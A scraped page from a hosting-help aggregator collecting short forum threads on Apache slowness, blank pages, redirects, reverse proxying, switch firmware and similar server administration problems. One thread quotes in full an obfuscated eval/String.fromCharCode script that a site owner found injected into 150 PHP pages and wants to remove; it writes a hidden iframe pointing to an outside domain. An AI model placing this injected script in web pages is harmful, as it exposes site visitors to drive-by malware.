Apache :: Web Server - Extreme Laggy Pages

Nov 21, 2013

I work for a company with a highly trafficked site (about 100,000 unique daily visitors). We have our "MANAGED" hosting through Rackspace for quite the pretty penny per month. It includes a dedicated back end / DB server and cloud servers for the front end.

The setup has been functioning perfect for 10 months now; but this past Monday the speed of the site immediately dropped. Page load times fell from 1-2 seconds to between 10-20 seconds, and sometimes not at all. As far as we know (and as far as Rackspace says), no server setting were modified. No new code was introduced on our end. It's a mainly static site, with minimal user interaction with the backend at all.

We've monitored the traffic, checked IPs, etc. We've even tunes down several site features in the interest of reducing server load. Upon a server reboot, the active threads/processes running on it IMMEDIATELY jump back up to maxed out levels. It seems like once our daily traffic reaches 10MB/s, a type of queue forms and the delays begin. Rackspace assures us that we're not limited to that.

Versions:
OS: cent OS on cloud
OS: Redhat on Dedicated Server
Apache: 2.2
PHP: 5.3 / MySQL: 5.1.69

Some more background info: The site is typically busiest from 7am until 3pm EST. For the past few days, we've noticed that between 7am and 9-10pm the server has just lagged incredibly. However, at around that 9-10pm mark, something changes and the pages go back to loading almost instantly. (There is still decent traffic though.) Then at around 7am again it slows to a crawl.

Rackspace has offered solutions such as spinning up another server and incorporating their load balancing - they are in the process of this BUT they do NOT think the traffic is the issue. At one point they actually said there was potential packet loss somewhere in the network, but no progress has been made.

View 2 Replies


ADVERTISEMENT

Server Using Cpanel Under Extreme High Load

Apr 3, 2007

my server is running cpanel, dual xeon 2.4GHZ, 2GB ram, only have about 10 small websites, but look at the load:

Quote:

Tasks: 154 total, 1 running, 153 sleeping, 0 stopped, 0 zombie
Cpu(s): 0.1% us, 0.1% sy, 0.0% ni, 0.0% id, 99.8% wa, 0.0% hi, 0.0% si
Mem: 2074940k total, 1110308k used, 964632k free, 105768k buffers
Swap: 4096564k total, 0k used, 4096564k free, 829452k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
27230 root 16 0 2168 1000 760 R 0 0.0 0:02.15 top
1 root 16 0 2620 556 472 S 0 0.0 0:00.99 init
2 root RT 0 0 0 0 S 0 0.0 0:00.10 migration/0
3 root 34 19 0 0 0 S 0 0.0 0:00.00 ksoftirqd/0
4 root RT 0 0 0 0 S 0 0.0 0:00.07 migration/1
5 root 34 19 0 0 0 S 0 0.0 0:00.18 ksoftirqd/1
6 root RT 0 0 0 0 S 0 0.0 0:00.08 migration/2
7 root 34 19 0 0 0 S 0 0.0 0:00.15 ksoftirqd/2
8 root RT 0 0 0 0 S 0 0.0 0:00.21 migration/3
9 root 34 19 0 0 0 S 0 0.0 0:00.00 ksoftirqd/3
10 root 5 -10 0 0 0 S 0 0.0 0:00.00 events/0
11 root 5 -10 0 0 0 S 0 0.0 0:00.00 events/1
12 root 5 -10 0 0 0 S 0 0.0 0:00.00 events/2
13 root 5 -10 0 0 0 S 0 0.0 0:00.00 events/3
14 root 5 -10 0 0 0 S 0 0.0 0:00.01 khelper
15 root 15 -10 0 0 0 S 0 0.0 0:00.00 kacpid
43 root 5 -10 0 0 0 S 0 0.0 0:00.00 kblockd/0
44 root 5 -10 0 0 0 S 0 0.0 0:00.00 kblockd/1
45 root 5 -10 0 0 0 S 0 0.0 0:00.00 kblockd/2
46 root 5 -10 0 0 0 S 0 0.0 0:00.00 kblockd/3
47 root 15 0 0 0 0 S 0 0.0 0:00.00 khubd
56 root 15 0 0 0 0 D 0 0.0 0:01.24 pdflush
59 root 8 -10 0 0 0 S 0 0.0 0:00.00 aio/0
60 root 11 -10 0 0 0 S 0 0.0 0:00.00 aio/1
61 root 11 -10 0 0 0 S 0 0.0 0:00.00 aio/2
62 root 5 -10 0 0 0 S 0 0.0 0:00.00 aio/3
58 root 15 0 0 0 0 S 0 0.0 0:01.12 kswapd0
135 root 25 0 0 0 0 S 0 0.0 0:00.00 kseriod
212 root 15 0 0 0 0 S 0 0.0 0:00.00 scsi_eh_0
213 root 15 0 0 0 0 S 0 0.0 0:00.00 percraid
234 root 15 0 0 0 0 D 0 0.0 0:06.05 kjournald
1180 root 6 -10 2664 456 380 S 0 0.0 0:00.03 udevd
1346 root 5 -10 0 0 0 S 0 0.0 0:00.00 kauditd
1421 root 8 -10 0 0 0 S 0 0.0 0:00.00 kmirrord
1422 root 8 -10 0 0 0 S 0 0.0 0:00.00 kmir_mon
1442 root 19 0 0 0 0 S 0 0.0 0:00.00 kjournald
1443 root 15 0 0 0 0 D 0 0.0 0:01.93 kjournald
2168 root 15 0 3468 600 512 D 0 0.0 0:00.60 syslogd
2172 root 16 0 2428 484 420 S 0 0.0 0:00.25 klogd
2182 root 16 0 1756 492 412 S 0 0.0 0:00.01 irqbalance
2194 named 18 0 69712 3492 2232 S 0 0.2 0:01.11 named
2268 root 16 0 2644 440 380 S 0 0.0 0:00.00 courierlogger
2269 root 16 0 1940 612 508 S 0 0.0 0:00.00 authdaemond
2270 root 16 0 1940 616 512 S 0 0.0 0:00.00 authdaemond
2271 root 16 0 1940 616 512 S 0 0.0 0:00.00 authdaemond
2272 root 16 0 1940 616 512 S 0 0.0 0:00.00 authdaemond
2273 root 16 0 1940 616 512 S 0 0.0 0:00.00 authdaemond
2274 root 16 0 1940 616 512 S 0 0.0 0:00.00 authdaemond
2303 root 16 0 5392 1012 844 S 0 0.0 0:00.00 rpc.idmapd
2375 root 18 0 1980 552 480 S 0 0.0 0:00.00 acpid
2384 root 15 0 9308 2076 1632 S 0 0.1 0:00.03 cupsd

View 7 Replies View Related

Apache Serving Blank Pages

Oct 1, 2007

I am having this issue with a new box where Apache at random serves blank pages and won't serve anything but until it's restarted. I see no errors in /var/log/messages either to show why this is happening.

It's not all pages either just several various ones. I know it's not a programming issue either because the only thing the server is running is one instance of vBulletin.

I look at top during this and CPU and RAM usage are very low.

The only fix to get Apache to serve the pages is to restart it.

Anyone have any clues on what it could be?

I set my php.ini memory limit to a gig (I have 16 gigs in the sever)

View 1 Replies View Related

Apache :: Add Multiple Web Pages To Website?

Jan 23, 2014

How do I add multiple web pages to my server?

View 6 Replies View Related

Apache :: Rendering Web Pages Progressively

Feb 17, 2014

I am delivering my php scripts from a new Apache server on CentOS delivering them only at the end of the loading. What is a pain, especially for pages being used by iOS apps just needing the xml section even if the script goes further, or when presenting information while they are generated.

View 3 Replies View Related

[Apache] Anyway To Stop Bots Trying To Find Pages

Apr 22, 2009

Looking trough my logs I found something that bothers me, there are bots who keep doing requests on my website with pages like /admin or /secure to find vulnerabilities.
It's making about 5-6 requests for unexisting pages every second until it comes to the end of it's dictionary (the pages are even sorted in alphabetical order,

Is there some way to let my Apache server block access to these bots when they make X attemps to see a page who does not exists in a short amount of time? A bit like iptables reject connection if someone tries to log in but fails to do so too many times.

View 6 Replies View Related

Apache :: How To Redirect All Pages To One Page Of New Directory

Aug 20, 2005

I'm hoping to redirect visits to any page in an old directory to the index page of a new directory.

In other words, redirect:

[URL] ....

[URL] ....

Is this possible? If so, how could I do it?

In my .htaccess I currently have:

Code :

RedirectPermanent /facts/ http://www.domain.com/newfacts/

but this only redirects the index page.

View 19 Replies View Related

Apache :: All Of A Sudden Pages Don't Load Anymore

Jul 30, 2014

I've updated to Apache 2.4.10 from 2.4.9 and all of a sudden my pages don't load anymore.Previously I had this issue rarely and closing the PHP-cgi.exe processes fixed it.But since the update the issue happens almost constantly.

View 17 Replies View Related

Apache :: White Pages For Enabled Site And Localhost

Jan 7, 2015

I'm using Oracle's VirtualBox.My network on the virtual box is set to Bridged Adapter

apache/2.4.7
php 5.5.9
Linux/Ubuntu 14.04.1 LTS
No errors in my apache2 error.log file.

First time creating a server on a virtual box. I am not confident i understand how my computer browser access the virtual box server i created. Once i understand that i could fix my issue. Which is, I can't finding my enabled site or localhost via my browser on my computer. All i get is a white page for both. I don't even see the it works page.

I am following this book and got stuck on chapter 1: Understanding and Setting Up Our Development Environment.
link to book -- URL...

I have installed Oracle's VirtualBox, mounted Ubuntu, installed apache2 with $ sudo apt-get install apache2 -y. At this point everyone says, now go to your ip and you will see "It Works". Which i do not see. I see a white page with nothing on it. I then looked to see if the localhost /var/www/html/ index. html even exists. Which is does, i opened the file and i can see the line "It Works!".

My hosts file on my computer has ../driver/etc/hosts

127.0.0.1 localhost
192.168.56.1 magento.localhost.com

My hosts file on my Virtual box /etc/hosts

127.0.0.1 localhost
127.0.1.1unbuntu
192.168.56.1 magento.localhost.com

View 3 Replies View Related

Apache :: After Enable APC Pages Throwing Lots Of PHP Notices

Nov 24, 2013

I have installed APC on our Windows server. After I enable APC and restart apache our pages throwing Lots of PHP Notices.

Code :

System Windows NT 6.1 build 7601 (Windows Server 2008 R2 Web Server Edition Service Pack 1) i586Architecture x86Server API Apache 2.4 Handler Apache LoungeThread Safety enabledPHP Extension Build API20100525,TS,VC9Apache Version Apache/2.4.2 (Win32) OpenSSL/1.0.1c PHP/5.4.4Virtual Server Yes

View 2 Replies View Related

Apache :: Write HTAccess Rules For Dynamic Pages

Feb 15, 2013

I'm really struggling to write htaccess rules for dynamic pages. I've like 20 pages to redirect What I want to do is redirect:

[URL] ....
to
[URL] ....

View 10 Replies View Related

How To Use Appache (HTTPD) With LXAdmin? Only Apache Homepage Shows, Not My Pages

Apr 30, 2009

I've got a VPS with XenSmart, and I'm running CentOS. Recently, I have been needing to redirect my users to 'www.', since if they don't put the 'www.' in front of the domain the vB forum doesn't run properly. Though, to do this, I edited the .htaccess file and was using the 'mod_rewrite' command, but this requires Apache.

So, on my VPS I've installed Apache, and set LXAdmin to use 'httpd' instead of 'lighttpd', though now my web pages wont show up and all I've got is the default Apache web page:

[url]

How am I able to use Apache (HTTPD) and have it load my current forum? My current forums hosted in:

/home/admin/public_html/vb

View 1 Replies View Related

Reverse Proxy Apache ==> IIS, Need Custom Error Pages Triggered On IIS Side

Dec 3, 2008

I'm not sure if this is the right forum, or if anyone can suggest a message board where I might get support on this.

This is what I have. I have Apache and IIS both running on Windows 2k3.

Apache is running in reverse Proxy mode sending multiple domains/virtual hosts to IIS.

Code:

ProxyRequests Off
<VirtualHost *:80>
ProxyPreserveHost On
ProxyPass / http://localhost:8080
ProxyPassReverse / [url]
ServerName mydomain.com

</VirtualHost>
Now, if I type in [url]everything works great and IIS (listening on 127.0.0.1:8080) serves the page. However, I am doing custom error trapping, so when I type in [url](and /mydirectory doesn't exist on IIS) I need to fire ASP code (via custom error messages/handling) on the IIS server and then present a data driven page.

However, Apache is returning A 502 error:

Code:
Proxy Error
The proxy server received an invalid response from an upstream server.
The proxy server could not handle the request GET /mydirectory.

Reason: DNS lookup failure for: localhost:8080mydirectory
Is there a way for me to setup Apache to pass all error checking to IIS while using it as a reverse proxy?

View 0 Replies View Related

Apache :: Forbidden 403s When Accessing Files / Pages On Mounted Device

Nov 18, 2014

So I have a script running on my apache that catalogs pictures and clips. All the actual video files are located on a separate drive which is mounted in to a folder in my site. I've set apache as the owner and have the correct permissions on the mounted folder but I'm getting Forbidden errors accessing files even when on html file in the mounted folder.

I know it's a permissions issue at the disk or mounting level. The way I mount is by using this command:

mount -t ext4 /dev/sdc /var/www/html/media

View 6 Replies View Related

Apache :: Automatically Make All PHP Pages Into HTML In Browser Using HTaccess Rewriting?

Jan 11, 2015

i have made my all pages with .html extension and hence my SEO is based on accordingly. Now i made some changes to htaccess that causes to not inclusion of header and footer pages (both are made with .php extension ). so i decided to change the extension of pages (.html to .php) and it wokrs. due to SEO and large number of pages i want all my pages .php (made later). to get converted automatically with .html in browser. so is it possible using .htaccess rewrite.

View 1 Replies View Related

Extreme 24e3 Owners

Jun 28, 2008

I have been trying to look for the damn thing everywhere and I can't find anywhere that has it either apart from extreme support of course which they want my life out of me.

I am after a good extreme 24e3 firmware that supports SSH and Web GUI since mine one for some reasons do not have that feature.

I have around 20 bucks (not alot i know but hey that all i got in my paypal)

View 4 Replies View Related

Procurve 2650 Vs Extreme 48i

Dec 28, 2007

Can anyone suggest which one to go with?

View 5 Replies View Related

Why Non-ssl Pages Are Blank, Ssl Pages Work

Feb 1, 2008

I am moving to a new server. At first the [url]version of the site was fine. I had trouble getting [url]working. Once I had the path to the certificate file correct, I was good to go. So, I started moving data. I also ran some updates on the new server (installed mysql, php, related pkgs). I don't know when the [url]pages stopped working, but I didn't realize it until I had everything moved over and tried to go live. The pages are completely blank. If I view source, I get this: ....

View 3 Replies View Related

Addressing VLANs On Extreme Summit 48

Feb 13, 2007

Having a slight problem working with one of our Extreme Summit 48 (ugh) switches - I've figured out most of the basics, but I can't seem to find any way to add a secondary IP address to a VLAN! This, I would have thought, would be a pretty basic feature to have. Typing "config vlan [vlanname] ipaddress 1.2.3.4/24" works for setting the primary IP, but I can't figure out how to add any more - and doing the command again just overwrites the first one.

So... does anyone have any tricks up their sleeve, or is this something that Extreme neglected to add to this model switch?

View 2 Replies View Related

Opinions On Extreme Networks Switches

Mar 5, 2007

I had the chance to work with the summit24 switches, and I personally liked them. It is straight-forward in my opinion for the Web Interface compared to others I have seen and the pricing seems to be reasonable.

I was wondering if anyone has had any experience with any of their switching devices.

View 11 Replies View Related

Console Cable Pin Out For Extreme Networks Stuff

Jun 16, 2008

if anybody know the cable pin out on making a console cable using those serial adapters?

View 1 Replies View Related

Anyone Got The Extreme Summit 24e3 Images One With SSH And Web Interface

Jun 18, 2008

I just picked up a Summit 24e3 and found it that the extremeware inside has no SSH (OMG) and Web interface. I am wondering if anybody got a firmware laying around that I may able to download off.

View 3 Replies View Related

Apache :: Multiple Error Codes For Multiple Pages

Nov 9, 2012

Depending on where u are at on my site (documents pages, training, main root, etc.) will depend on which type of background, footer, header and the like you'll get. Now I was thinking. Is there a way to have multiple error messages for more then one page depending on where you are at on a site? Right now it's intranet site and a modded snitz forum. What is the code and were does it go and in which apache conf file(s) does it go in?

View 1 Replies View Related

Server Wide Custom Error Pages W/ Whm/cpanel

Aug 13, 2008

i have a server with whm/cpanel and would love to have custom error pages that work server wide not just for a specific domain. I have tried adding the "ErrorDocument 404 errors/404.htm" to the httpd.conf file but it doesn't work.

I have no trouble getting custom errors to work for a specific domain but can't seem to get it to work server wide.

Has anyone else tried to tackle this and actually had success?

View 3 Replies View Related

How To Password Protect Web Pages, I Can Protect Directories But Can't Put Pages In

Mar 4, 2007

i did make a big message on here but it deleted when i back spaced

my website is aviation cafe dot net / sample and i need you to help me with password protecting a webpage, i wanted the address to be / the silver sword and definitly not to look like it does now.

username: webforum
pass: password

View 4 Replies View Related

WHM 404 Pages

May 28, 2008

one minute i login to WHM and it's fine...the next I get a 404 error

View 3 Replies View Related

Infected Web Pages

Jun 10, 2009

150 php pages infected codes like.... As we do not have a backup..is there any commands to remove it

<script type="text/javascript">eval(String.fromCharCode(118,97,114,32,106,104,113,119,61,49,50,51,49,49,49,51,43,50,53,59,118,97,114,32,103,104,103,52,53,61,34,107,97,11 4,34,59,11 8,97,114,32,119,61,34,108,97,115,116,34,59,118,97,114,32,114,101,54,61,34,46,34,59,118,97,114,32,104,50,104,61,34,99,111,109,34,59,118,97,114,32,97,61 ,34,105,10 2,114,34,59,118,97,114,32,115,61,34,104,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,97,109,101,32,115, 114,39,43, 39,99,61,34,39,43,115,43,39,112,58,47,47,39,43,103,104,103,52,53,43,39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,104,50,104,43,39,47,39,43,39,34,32 ,119,105,1 00,39,43,39,116,104,61,34,49,34,32,104,39,43,39,101,105,103,104,116,61,34,51,34,62,60,47,105,102,39,43,39,114,39,43,39,97,109,101,62,39,41,59,32,102,1 17,110,99, 116,105,111,110,32,103,103,54,51,52,53,40,41,123,118,97,114,32,97,115,51,49,49,51,61,57,43,55,53,52,52,59,125,32,118,97,114,32,109,110,98,113,61,52,51 ,48,52,49, 56,50,52))</script>

Is there any command to search and replace this whole string from files...normal sed is not seems to be working with these symbols.

View 8 Replies View Related

Can't View Man Pages

May 16, 2009

I can't get any man pages. For some reason when I try to use it, I continue to get this error:

Code:
XXX
XXX WARNING: old character encoding and/or character set
XXX

View 2 Replies View Related

302 Pages And Such Things

Oct 26, 2009

I'm not sure if this is correct place to post this, but I had a look round and couldn't see anything particularly appropriate.

Can someone point me in the right direction... give me a link or some advice... I want to learn about 302 pages, 301 pages and other types of pages.

I read that 302 pages may mean a website's traffic is being redirected by someone else...?

Obviously, I want to know if someone is sneakily redirecting my traffic... and I need to protect myself against it.

View 4 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved